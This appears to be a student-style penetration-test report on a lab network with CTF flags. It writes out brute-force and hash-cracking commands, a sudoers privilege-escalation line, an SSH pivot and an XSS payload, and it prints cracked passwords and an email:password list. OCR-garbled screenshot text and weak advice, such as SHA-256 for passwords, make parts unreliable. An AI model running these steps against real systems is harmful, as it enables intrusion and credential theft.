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About My Company

Cyber Shield Solutions, is a growing cybersecurity firm dedicated to assisting companies in
increasing their digital defenses and mitigating security risks. Our diverse and knowledgeable
team of analysts and penetration testers employs modern methods to identify vulnerabilities
across networks, web applications, and internal systems. By providing comprehensive
pen-testing assessments and sufficient recommendations. Cyber Shield Solutions empowers
organizations to safequard their sensitive data, protect against cyber threats, and maintain
business continuity.
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Executive Summary

My company, Cyber Shield Solutions, was contracted to do a penetration test for Near-Earth
Broadcast Network. Our team at Cyber Shield Solutions is fully equipped and prepared to
conduct a comprehensive penetration test aimed at fortifying NBN’s cybersecurity defenses
and mitigating potential risks effectively. In conducting the penetration test for Near-Earth
Broadcast Network (NBN), our team's scope encompassed evaluating the security of both the
internet-facing web server (NBN Server VM) and the internal network (NBN Client VM), with
systems beyond these parameters being deemed out of scope. Our methodology involved
simulating the tactics employed by real-world attackers, including network scanning,
vulnerability exploitation, and communication facilitated by CISO Gibson. Denial of service
attacks or any intentional system disruption are excluded from the scope of this pentest.
Majority of vulnerabilities were found on the web server, and all attacks were done through the
webserver.

There were many significant vulnerabilities found, ranging from medium, high and critical
risks on NBN’s systems. | was able to gain access to the web server through anonymous FTP
which is a critical configuration vulnerability for FTP. Then cracked the CEQ’s password since it
was using a deprecated MD5 hashing algorithm instead of newer hashes like SHA-256. Once
inside the web server, access to many user files and directories exposes sensitive information
such as hardcoded database credentials and client machine credentials. Many flags were
found throughout my pentest, and showed how easily compromised NBN’s web server is just by
gaining access. To see hidden directories and locked files, root access was needed, and it was
achieved through privilege escalation since the sudoers file was open to edit. So just one
vulnerability such as gaining user access, an attacker can easily get root access based on the
webserver’s weak configuration and be able to cause major damage to NBN’s systems.
Successful root access on the web server allowed ssh tunneling to be achieved to get into the
client machine. This shows that a compromised web server does not only stop there, client
machines can be vulnerable as well. Based on the findings, the overall risk is deemed critical.
Risk scoring was calculated based on the CVSS risk rating system. | have included all fixes and
remediations for all findings and should be implemented as soon as possible to mitigate risk

and exploitation to NBN’s critical systems.


http://methodology

Introduction

Goals and Objectives

The penetration test our team performed for Near-Earth Broadcast Network (NBN) Corp was
planned with clear objectives in mind. Our immediate goal was to examine the developing web
server and an employee client machine. We aimed to identify vulnerabilities, exploitation
approaches, and provide ways to fix and remediate the systems. Moreover, we sought to assign
risk scores to each vulnerability for the most important ones to tackle first. Overall the main
objective is to increase NBN's cybersecurity, their data, users and the company's goals.

Our Approach

Our approach to the penetration test was thorough and strategic. We began by thoroughly
examining the targeted systems, analyzing their architecture, and identifying potential entry
points for attackers. Leveraging a combination of automated scanning tools and manual
testing techniques, we assessed the security posture of the web server and client machine.
Throughout the process, we adhered to industry best practices and standards, ensuring an
organized and tough evaluation. Our methodology draws upon established frameworks such as
OWASP (Open Web Application Security Project) and NIST (National Institute of Standards and
Technology). By aligning our approach with these industry-recognized guidelines, we ensured
a structured and thorough assessment of NBN Corp's IT infrastructure.

Roles and Responsibilities

At Cyber Shield Solutions, our team is composed of experienced cybersecurity professionals
with diverse skill sets, including penetration testers, analysts, and a reporting team. Each team
member had specific duties assigned, ranging from conducting penetration assessments to
preparing detailed reports and recommendations.

Cost

The cost associated with our penetration testing services was determined based on the scope
of work, duration of the engagement, and expertise required. The average cost our company
charges ranges from 2500 to 15000 depending on the size of company and risk of
vulnerabilities on your systems. Given the CVSS rating is deemed critical, and many flaws were
found in our findings, we are charging 10000 for our detailed penetration test for NBN.



Scope

The penetration test will primarily focus on assessing the security posture of the provided
internet-facing web server (NBN Server VM) and the internal network (NBN Client VM). Any
services or systems not encapsulated within these provided images will be considered out of
scope and will not be addressed during the penetration test.

These assets represent two separate systems within the NBN Corp's network infrastructure.

Limitations

The penetration test will not involve direct attacks on the internal client machine. Instead, all
attacks will be pivoted through the web server. However, if an exploitable flaw or configuration
that allows a direct attack is discovered, it may be used. Additionally, no changes will be made
to system passwords or configurations, and no software installations will occur.

Rules of Engagement

The penetration test will emulate real-world attacker tactics, such as black box or red team
tests, starting with external network scans and vulnerability discovery. Identified vulnerabilities
will be exploited to gain shell and root access on systems, with attacks on the internal client
machine pivoting through the web server. Uploading and executing scripts, payloads, or
exploits is allowed, but denial of service attacks or actions that may intentionally disrupt the
system are not permitted. Communication will primarily occur through CISO Gibson as the
point of contact.

(References).

Assumptions

The assumptions made during the penetration test include the availability of necessary
credentials and access permissions for conducting the test on the provided assets. It is
assumed that the network topology provided in Appendix D accurately represents the
infrastructure configuration of NBN Corp for the purposes of this engagement.




Schedule

13th March - 20th March 2024: Understanding the scope, start draft

20th March - 25th March 2024: Threat Modeling, Risk Assessment, Mid-Draft Proposal
25th March - 10th April 2024: Reconnaissance, Scanning, Enumeration, Penetration Test of
the Server and Client

8th April - 15th April 2024: Report Preparation - Draft of Final, Internal Review, System
Cleanup

25th April 2024: Initial report shared by secure email

29th April 2024: Final Report Delivery

Methodology

Phases

Based on both the OWSAP Pentest Methodology and NIST Pentest Guide, gives our team rules
and steps to perform our pentest effectively.

Reconnaissance:
Utilizing tools such as recon-ng, NMAP, and OWASP - Amass to gather
information about the target web server and client. Such as finding deprecated
services, open ports, and sensitive error messages.

Vulnerability Scanning:
Using tools like NMAP, Nikto, ZAP, OWASP - Amass, Nessus, and OpenVAS to
identify potential vulnerabilities in the target systems, directly engaging what
was found in the reconnaissance stage.

Exploitation:
Employing tools like Metasploit (meterpreter), SQLMap, Hydra, and Burp Suite to
exploit identified vulnerabilities and gain unauthorized access. Such as gaining
database access and privilege escalation.

Web Application Testing:
Conducting tests using tools such as Nikto, ZAP, OWASP - Amass, DVWA, w3af,
Skipfish, Dirb / Dirbuster to assess the security of web applications hosted on
the server and client. Major risks such as cross scripting vulnerabilities and hard
coded information in php pages.

Network Packet Analysis:
Utilizing tcpdump to capture and analyze network traffic for potential security
threats and letting out sensitive company information.

Wireless Network Testing:



Employing Aircrack-ng to assess the security of wireless networks associated

with the NBN'’s systems and client.
Report

Gather all vulnerability findings, risks, issues, configuration problems, network
exploits, etc and provide recommendations for NBN to improve their cybersecurity
infrastructure to prevent future attacks.

References: Appendix

Testing

The basis for testing is the OWASP Penetration Testing Standard which uses multiple steps to
ensure thorough evaluation of target systems. During the Reconnaissance phase, tools such as
recon-ng, NMAP, and OWASP - Amass are utilized to gather detailed information about the
target web server and client. Next in the Scanning phase, tools like NMAP, Nikto, ZAP, Nessus,
and OpenVAS are used to identify potential vulnerabilities across the target systems. Gaining
Access involves conducting tests using tools such as Nikto, ZAP,, DVWA to assess the security
of web applications hosted on both the server and client. Exploitation focuses on using
tcpdump to capture and analyze network traffic for potential security threats. Privilege
Escalation is employing tools like Metasploit, SQLMap, Hydra, and Burp Suite to exploit
identified vulnerabilities and gain unauthorized access. Post-Exploitation testing is conducted
to assess the security of the NBN client workstation.

References: OWASP, Tools

Risk Scoring

The National Vulnerability Database's (NVD) Common Vulnerability Scoring System version 3.0
(CVSS v3.0) is a standardized rating system used to assess the severity of security
vulnerabilities. It evaluates vulnerabilities based on various factors such as exploitability,
impact, and scope, assigning a numerical score to indicate the severity level. The higher the
score, the more severe the vulnerability. (Appendix D) | have utilized the CVSS rating system to
objectively assess and communicate the severity of identified vulnerabilities, aiding in
prioritizing remediation efforts effectively.

Based on the findings, each vulnerability has a risk factor, ranging from medium, high and
critical. While assessing the risk score which includes likelihood of a specific vulnerability being
exploited or found and then the impact of that specific vulnerability, | have found two clauses.
The majority of severity upon the risks is HIGH, but our team have deemed that since the
critical issues have a higher likelihood of exploitation and larger impact on NBN, the final




severity overall is CRITICAL. Until the critical vulnerabilities are mended, then severity will go
down to HIGH and so on. Critical findings can compromise both the web server and client
systems, and need to be addressed as soon as possible.

CVSS v3.0 Ratings

Severity Severity Score Range

None* 0.0

Low 0.1-32.9
Medium 4.0-6.9
High 7.0-8.9
Critical 9.0-10.0

Findings

Access to Web Server

| first ran nmap scans on the web server for recon and used zenmap to show a cleaner output.
Open ports such as SSH, used for remote access and FTP, used for file transfer, can both be used
when open.

Open Ports
Commands:

nmap -T4 -A -v 172.16.1.1
nmap -sS -p- 172.16.1.1 -A -sV
nmap --script vuln 172.16.1.1


https://nvd.nist.gov/vuln-metrics/cvss

- Zenmap
Scan Tools Profile Help
Target: 172.16.1.1 v Profile: Intense scan

Command: nmap-T4-A-v172.16.1.1

Hosts Services NmapOutput = Ports/Hosts  Topology ~ HostDetails Scans

0s Host - Port Protocol State Service Version
6y 172.16.11 80 tcp open http Apache httpd 2.4.29 ((Ubuntu))
443 tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
8001 tcp open http Apache httpd 2.4.29 ((Ubuntu))
9001 tcp open ftp vsftpd 3.0.3

Risk: Medium

CVE-2018-15473

OpenSSH 7.6p1: The SSH service (port 443) is running an older version of OpenSSH (7.6p1
Ubuntu 4ubuntu0.3).

Risk: High
CVE-2017-15710
Apache HTTP Server 2.4.29: The HTTP service (port 80 and 8001) is running Apache HTTP

Server version 2.4.29.

Risk: High
CVE-2021-30047
vsftpd 3.0.3: The FTP service (port 9001) is running vsftpd version 3.0.3.

Risk: Critical

CVE-1999-0497

Anonymous FTP login allowed: The FTP service allows anonymous login, which | exploited

allowing user access to the webserver.

Risk: Medium
CVE-2022-30625
Directory Listing: The FTP server allows directory listing, as indicated by the presence of the

"gibson" directory.


https://nvd.nist.gov/vuln/detail/cve-2018-15473
https://nvd.nist.gov/vuln/detail/CVE-2017-15710
https://nvd.nist.gov/vuln/detail/CVE-2021-30047
https://www.cvedetails.com/cve/CVE-1999-0497/
https://nvd.nist.gov/vuln/detail/CVE-1999-0497
https://nvd.nist.gov/vuln/detail/CVE-2022-30625

Fix
Make sure all services used are updated, to prevent using older versions that have security

issues and make sure that ports that are open are also filtered or closed depending on use case.

Click on links for more information:

First used anonymous access on FTP, found user Gibson. Then cracked Gibson’s password

since it was using MD5 hash. After logging in as Gibson, | got_privilege escalation to root on the

webserver.

Anonymous F TP Access

.

1i): anonymous
/ the password.

ote

Using bin;
ftp> 1s
229 Entering Extended Passive Mode (|||5887])

Here comes the direct listing.

g 5 1loea DO 4@96 Apr @4 20821 gibson

Directory send OK.

Description: The impact of anonymous login using FTP is unauthorized access to potentially
sensitive files or data stored on the FTP server.
Impact: Access to the webserver, shows directory for “gibson” giving away that the name is

associated with the company, NBN possibly being an important employee.

Fix
Review FTP configuration, ensure that there is proper authentication to access the FTP server.



Access to Client

Risk: Medium
CVE-2018-15473

Setup tunnel using ssh

Description: Establish an SSH tunnel to facilitate access to the client machine following
successful penetration of the web server.
Commands:

ssh -L 1024:172.16.1.2:22 gibson@10.10.0.66 -p 443 ssh -p 1024 stephenson@Iocalhost

2¢ibson@l@.10.0.66

gibson@le

:URObKN1fjR7P/sv

not known by any other names.
you want to continue connecting s/no/[fingerprint])? yes
manently added '[localhost]:102 (ED25519) to the list of kno

s
stephenson@localhost's password:
Welcome to

t Network*
tching+

#*Near-Earth Br
*Someone 1s A

Penetration testing with permission only!

gin: Thu Apr 11 @@:12 24 from 10.10.0.10

inbnserver:~$ I

Fix
Implement strict access controls and firewall rules to restrict SSH access to authorized users

only and monitor/audit SSH traffic for any unauthorized access attempts.


https://nvd.nist.gov/vuln/detail/cve-2018-15473

Privilege Escalation

Risk: High
CVE-2023-22809

Steps to get root access:

Initial Enumeration:
- user account: gibson

- Checked sudo privileges for user gibson using “sudo -I”

Finding Sudo Privileges:
- gibson has sudo privileges to execute certain commands as root without password
authentication.
er:~% sudo -1
lts entries for gibson on nbnserver:
5

mail_badpass,
h=/usr/local/sbin\: fusr/local/bin\: fusr/sbin%: fusr/bin\: /sbi

User gibson may run the following commands on nbnserver:
(root) NOPASSWD: /bin/echo

Jusr/bin/tee
$ id
gibson) g¢id=100@(gibson) groups=1000(gibson),4(adm),24(cdrom),27(
sudo ), dip),46(plugdev),108(1xd),113(ftp)

Exploitation:
- Exploited the sudo privileges by adding an entry in /etc/sudoers file using echo and tee

commands without password authentication.


https://nvd.nist.gov/vuln/detail/CVE-2023-22809

gibsonanbnserver:~% echo "gibson ALL=(ALL) NOPASSWD: ALL"
tc/sudoers
1b:0n ALL=(ALL) NOPASSWD: ALL
) $ ld

) gid=10@88(gibson) groups=100@(gibson),4(adm},24(cdrom),
{ g },108( 1xd),113(ftp)
wver:~% sudo -1
aults entries for gibson on nbnserver:
5

N ERN N R
ath=/usr/local/sbin\:/usr/local/bin: fusr/sbiny: fusr

r gibson may

[root) NOPA : blnfncho
(root) NOPA 2 ,u:x.blnfwhnami
(root) NOPA ! Jusr/bin/tee
(ALL) MNOPASSWD: ALL

Command Execution as Root:

- After modifying /etc/sudoers, gibson executed sudo su to switch to the root user context.

.bash_history .bashrc Lag3 shadow. txt

.bash_logout .profile .sudo_as_admin_success
root@nbnserver: /home/gibson# [

Escalated privileges to root were achieved by exploiting the misconfigured sudo privileges,

allowing arbitrary command execution as root without requiring a password.

Fix
Restrict the sudo privileges assigned to user accounts to prevent unauthorized privilege

escalation.



Using Insecure Credentials

Risk: Critical
CVE-2022-1039

Weak Root Password Hashes

Description: Got root password, from shadow file using john the ripper

Command: John --wordlist=/usr/share/wordlists/rockyou.txt shadow. txt

shadow. txt

is 5000

chihuahu

yoyorule

tormylz.

kanongza

1162p/s 1162c/s 116:
tom
e "—sho option to display all e ed passwords reliably
sion comple

Risk: Critical
CVE-2022-1039


https://nvd.nist.gov/vuln/detail/CVE-2022-1039
https://nvd.nist.gov/vuln/detail/CVE-2022-1039

Weak Users’ Login Password

Use of MD5

sword® ];
y

P e

r/THC & David Maciejak lease do not use
i ions, or f i1l 1 purposes (thi

(use option -I to s
) from a previous session found, to prevent overwriting, ./hyd

44399 login tries (

[STATUS] 2

[9@01][ftp] h

1 of 1 targe E
Hydra (https thub.com/vanhauser

Description: Weak and outdated password hashing: MD5, found in the Login.php file used to
login to NBN page. Using Hydra password cracker to find password for user “gibson” using the
common password wordlist “rockyou.txt” on the web server to crack MD5 hashes, specifically

using FTP. | found that the password for user “gibson” is “digital”.

Command: hydra -l gibson -P /usr/share/wordlists/rockyou.txt ftp://172.16.1.1:9001

- wordlist g re, ists/rockyou. txt ormat=raw-md5 stephenson.txt
Using default input enc

nsid

/ for status

Description: Using the password hash found in the NBN database for user stephenson, putting
it into a text file and running john the ripper, using md5 format, | get “pizzadeliver” as

stephenson’s password.



Command: john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5

stephenson.txt

Fix
Use modern password hashing such as SHA-256 instead of MD5 which is vulnerable to
password cracking tools. Implement stronger password policies to make more complex

passwords, and have employees reqularly change passwords. Monitor and log access to the

web server and client especially when logging into root.

Hardcoded Sensitive Data

Risk: Critical
CWE-798: Use of Hard-coded Credentials

Hard Coded Database Credentials

gibsondnbnserver: $ cat login.php

$conn = new mysgli($servername, %$username, $password, $da
if ($conn—connect_error) {
die("Connection failed: " . $conn—connect_error);

3
¥
!

/fecho "Connected successfully”;

Description: In Login.php, there are hardcoded credentials for mysgl databases, which include

the servername, database, username and password.


https://cwe.mitre.org/data/definitions/798.html

Fix

Use environment variables or a configuration file stored outside the php files.

Risk: Medium

Sensitive data in SQL database

ation for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [nbn]> show tables;
e e
Tables_in_nbn
e
users
+—
1 row in set (0.00 sec)

MariaDB [nbnl> select *# from users;

lastname
failed_login

2 rows in set (0.00 sec)

MariaDB [nbn]> |

data/ourCEOQ. jpg

data/stephenson. jpg

Description: nbnserver /usr/bin shows us, mysqgl and mariaDB is a service that is being used by NBN.

Exploiting those login credentials found in Login.php. Using the username “root” and password “digital”

to login into mariaDB, then searched for “nbn” database as shown in the Login.php file above. Nbn

database had “users" table which had 2 users: gibson and stephenson, their password hash and

associated avatar pic location



Configuration Vulnerabilities

Risk: Medium
CWE-453: Insecure Default Variable Initialization

Insecure PHP settings

The php.ini file has many wrongly configured php settings that can be exploited.

A ~/php.ini - Mousepad

File Edit Search View Document Help

R C x

magic_quotes_gpc = Off: Magic_quotes_gpc is usually recommended to be turned off due to
outdated functionality. Without it on, it might make your application vulnerable to SQL
injection attacks if not handled properly. Applications should utilize queries with parameters or

prepared statements to mitigate SQL injection risks.

allow_url_fopen on: Keeping allow_url_fopen on allows PHP to open remote files using a URL
as a filename. This can lead to security vulnerabilities such as remote code execution if not

properly sanitized or validated.
allow_url_include on: After keeping allow_url_include on, it allows PHP to include files from
remote locations using a URL. This poses a significant security risk as it can lead to remote file

inclusion vulnerabilities, enabling attackers to execute malicious code on the server.

display_errors = on: Display_errors being on can expose sensitive information about your


https://cwe.mitre.org/data/definitions/453.html

server and application to potential attackers. Error messages may contain valuable insights
into your application's inner workings, potentially revealing sensitive information. It's

recommended to set this to off in online environments.

error_reporting = E_ALL: While setting error_reporting to E_ALL can be useful for debugging
during development, it's not recommended for online website. In a production setting, you
should only log errors and suppress displaying them to users. Revealing error details to users
can aid attackers in identifying vulnerabilities and can be exploited.

Reference: PHP Configurations

Fix

To enhance the security of your PHP environment:

Disable allow_url_fopen and allow_url_include unless absolutely necessary.

Set display_errors to off in to prevent leaking sensitive information.

Use proper input validation, output escaping, and queries with extra parameters to mitigate
SQL injection.

Risk: Critical
CVE-1999-0497



https://cheatsheetseries.owasp.org/cheatsheets/PHP_Configuration_Cheat_Sheet.html
https://www.cvedetails.com/cve/CVE-1999-0497/
https://nvd.nist.gov/vuln/detail/CVE-1999-0497

Risk: Medium

CWE-20: Improper Input Validation

CWE-134: Use of Externally-Controlled Format String

Insecure String Formatting and Input Validation

I account
ccount numb

Description: The nbn file found in the root directory contains the nbn customer management
portal file, which appears to have a string vulnerability through the use of placeholders (%c,

%s, %d, %f) for input and output.

Impact: This vulnerability potentially allows attackers to read or write to memory or execute
arbitrary code if not handled properly. The lack of adequate input validation for menu options,
which accepts any input without verifying if it's within the expected range (1-6), can lead to
issues like denial of service and command injection.

Reference: Format Strings

Fix

Apply strict input validation and sanitize all input and output fields.


https://cwe.mitre.org/data/definitions/20.html
https://cwe.mitre.org/data/definitions/134.html
https://owasp.org/www-community/attacks/Format_string_attack

Risk: High

CWE-732: Incorrect Permission Assignment for Critical Resource

Misconfigured sudoers file

Description: On the client machine, “sudo -I” shows us that “stephenson” can run the NBN

customer management portal.

Impact: If an attacker is able to get access to the client machine, they can create a new
customer and pay that customer whatever value.

iclient: /% sudo -1
aults entries for stephenson on nbnclient:
mail_badpass,
th=/usr/local/sbin%: fusr/local/bin\: fusr/sbin\: fusr/bin\: /sbi
ap/bin

User stephenson may rum the following commands on nbnclient:

Main Menu --

Create new customer account

Paid Bill Deposit

Bill for Service

Account information

Log out

Clear the screen and display available options

[0 T S P T A Y

"lease enter any options (1-6) to continue
1

Creating a new Customer Profile
Enter the account holder name

]

Please enter any options (1-6) to continue

Enter customer account number for paid bill:1

The current balance for

Enter € payment amount

The new balance for account 1 1is


https://cwe.mitre.org/data/definitions/732.html

enter any options (1-6) to continue

Eank name : NEN
Bank branch : New York Region

Account holder na : test
Account number : A

Account holder addre : test
Current balance :$1000

Fix
Reconfigure privileges on files, and require password for sensitive systems such as a NBN

customer management portal where finances are involved.

Risk: High



https://cwe.mitre.org/data/definitions/79.html

Cross Site Scripting

Using ZAP on the NBN site: http://10.10.0.66/ found both Cross Site Scripting (Reflected) and
(DOM Based) vulnerabilities.

A Y Untitled Session - ZAP 2.14.0

File Edit View Analyse Report Tools Import Export Online Help

StandardMode ~|[[1 B H W @ @R A2 EE 80z ocE2 &8 7 € % H@Ee @ |
@ Sites = ; 47 Quick Start  =» Request <= Response /Requester <=
@ B3 Header: Text ~ | Body: Text ~ [ []
[ [ http://10.10.0.66 HTTP/1.1 200 0K
N GETY/ Date: Tue, 09 Apr 2024 13:58:33 GMT
L P ' Server: Apache/2.4.29 (Ubuntu)
| 1% GET./(email,name) Expires: Mon, 26 Jul 1997 85:00:00 GMT
][ 44 assets gache-Cont rol :hno-cache
. ) ragma: no-cache
L1044 GET.data Set-Cookie: authenticated=0
1[0 48 data Vary: Accept-Encoding
| | GET:favicon.ico Content -Length: 3203
- ) Content-Type: text/html; charset=UTF-8
1} %8 icons
| 1 GET:images <section id="one"=
[ fFu =div class="image main"
[ GET:Internal data-position="center"= . _
e <img src=
LFY internal "images/watchingyou.jpg" alt="" />
| 1 GET:login.php =/div=
o , d =div class="container"=
e GET.IcIngm.php(Logln,pa_ <header class="major"=
L1 9 GET:phpinfo.php <h2=Login</h2>
|| U 4 GET:robots.txt Login failed. Query:

SELECT * FROM “users® WHERE user = '=img src=x onerror=prompt()="
B History G, Search | Output % Spider ) Active Scan [WAlerts &* & g% WebSockets

® @ .f .gs Cross Site Scripting (Reflected)
© Alerts (22) http://10.10.0.66/login.php?Login=Enter&password=ZAP&
_ . . URL: username=%3Cimg+src%30Dx+onerror%30prompt%28%
[Fu Cross Site Srlptlng (DOM Based) l[) 29943E
Risk: [Fu High

Confidence: Medium
Parameter: username

: B GET: htt;:n:f’f’lO.l0.0. ogin.php?Login=Ef Attack: B R
~ f-\bsgncg of ’Qntl-CS,RF Tokens (5) Evidence: <img src=x onerror=prompt()=

U Application Error Disclosure (9) CWE ID: 79

L] i i
::11 giorr;t;g::ﬁySBerc—:;:t;i.rnF;olI[lcl:é)(CSP) Header Mot Set WASC ID: 8 | . N

J Hidden File Found Source: Active (40012._ Cross Site Scripting (Reflected))
E’T‘ Missing Anti-clickiacking Head 15 Input Vector: URL Query String

. 9 jacking Header (15) Description:

Uulnerable |S Library

. : ) - (] -site Scripti XSS) i ttack techni that invol
|- Big Redirect Detected (Potential Sensitive Infc ross-site Scripting e T

echoing attacker-supplied code into a user's browser instance. A
Alerts 12 [U7 U6 7 Main Proxy: localhost; 8080 Current Scans 40 0 ®0 20 @0 ,0 #®0 0

Risk: High
CWE-79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting")



http://10.10.0.66/
https://cwe.mitre.org/data/definitions/79.html

DOM Based

Risk Level: High

Description: DOM-Based Cross-Site Scripting (XSS) occurs when a web application
dynamically generates content based on user input, and JavaScript code modifies this content,
allowing for the injection of malicious scripts into the Document Object Model (DOM)
environment. (ZAP)

Impact: Exploiting DOM-Based XSS enables attackers to execute arbitrary JavaScript code
within the victim's browser. This bypasses traditional server-side security measures like input
validation and output encoding. The consequences include session hijacking, phishing, theft of
sensitive data.

Fix

Validate and sanitize all user inputs both on the client and server sides. Avoid using functions
like document.write that can introduce XSS vulnerabilities. Restrict the sources from which
scripts can be loaded. Reqularly update and patch the web application framework.
Reference: ZAP, XSS

Risk: High

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting")

Reflected

Risk Level: High

Description: Cross-Site Scripting (XSS) enables attackers to inject malicious code into input
fields, which is then reflected back from the server to unsuspecting users.

Impact: Exploiting this vulnerability can lead to the exposure of employee or admin session
cookies. Attackers could hijack these sessions, gaining unauthorized access to sensitive areas
of the application and perform actions on behalf of the legitimate user.

Fix

Must sanitize all inputs, disable scripting in input fields, and enforce the use of HTTP-only
cookies to prevent client-side scripts from accessing them. Content Security Policy can be

implemented to further enhance protection against XSS attacks.

Reference: ZAP, CSP


https://www.zaproxy.org/
https://owasp.org/www-community/attacks/DOM_Based_XSS
https://cwe.mitre.org/data/definitions/79.html
https://www.zaproxy.org/
https://content-security-policy.com/

NBN Corporat X

©10.10.0.66

Information Exposure

Risk: Medium
CVE-2022-30625

Directory Enumeration

Nikto Output:
Command: nikto -h 10.10.0.66

Description: Nikto shows sensitive info and directories/files to look into, such as robots.txt


https://nvd.nist.gov/vuln/detail/CVE-2022-30625

= 19.10.0.66

6 (GMT-4)

Options
on to the MIME t

/00600600_robots-txt-file

@_robots-txt-file

ogin.php It
info.php: Qutput f

/phpinfo.php: PHP is i m information. See: CWE-552

Location: (cd..) (cd..) (cd /var/www/html)

T/

Directory successfully changed.

1s

Entering Extended Passive Mode (||]3@989])
Here comes the directory listing.

6] 6] 4996 Apr

6] 6] Apr

@ 4] 5686 Apr

@ 4] 4996 Apr

6] 6] J Apr :

4] 1] 4 Apr 20821 internal

4] [t} Apr 83 2821 login.php
4] 4] 194 Apr 63 2821 php.ini

4] [t} 27 Apr 2021 phpinfo.php
6] 6] Apr 83 2821 robots.txt
send OK.

-

1
1
1
1
1
1

File: robots.txt, Directories /data/ and /internal/

Description: Based on nikto output, | checked the mentioned files/directories that nikto say are
interesting such as (robots.txt) which showed internal and data directories.

Impact:

Directory Enumeration - The robots.txt file explicitly mentions /internal/ and /data/ directories
as disallowed for web crawlers. This can disclose the existence of these directories that are

possibly sensitive or hold confidential information to potential attackers.



ftp> more robots.txt
User-agent: *

Disallow: /internal/
Disallow: /fdata/

Data directory showed flags 1 and 4. Also showing sensitive images such as CEO_gibson.jpg
referring to gibson as CEO and stephenson.jpg which | later find out is another employee:

ftp> cd data
250 Directory successfully changed.
ftp> 1s
9 Entering Extended Passive Mode (||[|59904])
the directory listing.
1@ @
@ @
@ @
@ @
@ @
@ @
@ @

250 Directory successfully changed.
ftp>
2: )|

@ 2592 Apr 83 2021 customers.php
] @ 2971 Apr @ 2032 ;
X 18 ] 188 Apr 63 2821 index.php
irectory send OK.

Review the contents of the directories mentioned in robots.txt and remove any sensitive
information, put in a more secure directory. Implement proper access controls and

authentication to restrict unauthorized access to sensitive directories.



TCPdump

Tepdump on webserver only can be done after root access. Output shows flagé.

1 @ 0

1p# @
: Directory send OK.
tp> get output.txt
al: output.txt remote: output.txt
Entering Extended Passive Mode (||]39@11])
Opening BINARY mode data connection for output.txt
817 KiB 2.3

Transfer complete.
received in 00:80 (2.14 MiB/s)

lookingforsomething file in root directory shows secret directory.



rootmle.le.@.66
.10.0.66"'s password:
Welcome to

**Near-Earth Broadcast Network#*
Someone 1s Aly

st login: Fri r 12 : 2:32 2032 16.10.0.1@
cot@nbnserver
lookingforsomethin nbn output.txt

root@nbnserver:~# cat lookingforsomethin
What are you looking

rootanbnserver: ~#
rootanbnsery

ootonbnserver

The secret directory (cd ...) (cd ‘\’) to get root@nbnserver:~/.../\#

Shows a pattern of numbers.

root@nbnserver
]

1

10

100

1000

@ m
02 00 00 00 00 €0 9 CO 0O O OO

@
o

.
FEEEE
OmN o N
®mmme

@

[} 8

=R
~ @

Emmmm e e
@@ @

o ®

J:s
@
@
~

9
491

9

g,

9 5
494 866

95

9

9

9

9

L.
0

0 00 00 0o GO Co CS B 09 9 00 0O 00 0B GO GO OO
~ o~~~ ~ ~

C® o g

Reference: tcpdump


https://www.tcpdump.org/manpages/tcpdump.1.html

Flags
Flagl

In the web server logged in as gibson, we find flag 1 {away_we_go} in the /var/www/html/data
folder

Flag 2
Viewing customer’s web page after logging into NBN site using gibson’s login credentials
shows flag 2 {authorized_user_access}

c e O A 1010.0.66/internal/customers.php?list=

ali Linux 4 Kali Tools  KaliDocs N Kali Forums X Kali NetHunter = Exploit-DB

oogle Hacking DB /) OffSec

flag2{authorized user access}

NqF5Rz@yahoo.com : connie //// long@gmail.com : capone //// hjk12345@hotmail.com :
ned //// snoogy@yahoo.com : frank //// polobear@yahoo.com : jess ////
mkgiy13@gmail.com : max //// tempbeauties@live.com : peterpiper ////
amohalko@gmail.com : desiree //// ramy43@gmail.com : greatone ////
dowjones@hotmail.com : stockman //// yahotmail@hotmail.com : eugene ////
hydrol@gmail.com : maurice //// boneman22@gmail.com : dennis ////

hamlin@hotmail.com : willie //// nevirts@gmail.com : jackie //// redtop@live.com : NBN
camille //// langp@hotmail.com : pontoosh //// jnardi@live.com : peter //// Corporatio i

4degrees@hotmail.com : ralph //// fretteaser@hotmail.com : derek //// . .
We are Always Watching
bsquard@live.com : wilbur //// zdOns23@live.com : wrinkle //// scheefca@live.com :
gerry //// enobrac@gmail.com : marcy //// saazuhl1273@gmail.com : cauhuln ////
fwe315@live.com : evan //// wilson@gmail.com : triad //// navresbo@yahoo.com :
heather //// XO6Pn75pjjK@yahoo.com : sandy //// darkness024@yahoo.com : randy ////
jistrokes@live.com : beansko //// zimago@yahoo.com : george //// katrina@gmail.com :

harald //// awesome@gmail.com : larry //// jess@yahoo.com : jesse ////

FOR INTERNAL USE ONLY

Flag 3

Flag 3 found after gaining access to web server with gibson’s credentials.

2821 gibson

home/kali/flag3: open txt, find “flag”: The goggles throw a light, smoky haze across his eyes



and reflect a distorted wide-angle view of a flag3{brilliantly_lit_boulevard} that stretches off
into an infinite blackness. This boulevard does not really exist, it is a computer-rendered view
of an imaginary place.

[ ~[flags/flag3 - Mousepad

File Edit Search View Document Help

[ B C x
Ul LI Uil Wiln 3TCUY, UVEL3ALUIGLEU LULUL3.

173 Him has cappuccino skin and spiky, truncated dreadlocks. His hair does not
cover as much of his head as it used to, but he is a young man, by no means
bald or balding, and the slight retreat of his hairline only makes more of
his high cheekbones. He is wearing shiny goggles that wrap halfway around
his head the bows of the goggles have little earphones that are plugged
into his outer ears.

174 The earphones have some built-in noise cancellation features. This sort of
thing works best on steady noise. When jumbo jets make their takeoff runs
on the runway across the street, the sound is reduced to a low doodling
hum. But when vitaly Chernobyl thrashes out an experimental guitar sole, it
still hurts Hiro's ears.

175 The goggles throw a light, smoky haze across his eyes and reflect a
distorted wide-angle view of a 3{brilliantly_lit_boulevard} that
stretches off into an infinite blackness. This boulevard does not really
exist, it is a computer-rendered view of an imaginary place.

176 Beneath this image, it is possible to see Hiro's eyes, which look Asian.
They are from his mother, who is Korean by way of Nippon. The rest of him
looks more like his father, who was African

177 20

178 by way of Texas by way of the Army-back in the days before it got split up

x | fla g| O Match case Match whole word -

Flag 4

Flag4.jpg, available to read after gaining root privilege on webserver.

rootanbnserver |

MEMpCehiHzreSzNTczkceod
xmlns "adobe eta/"><rdf:RDF
-rdf-syntax-ns#" >< :Description f
xmlns:MicrosoftPhot

flagd{metadata_sleuth}
flag4.jpg:




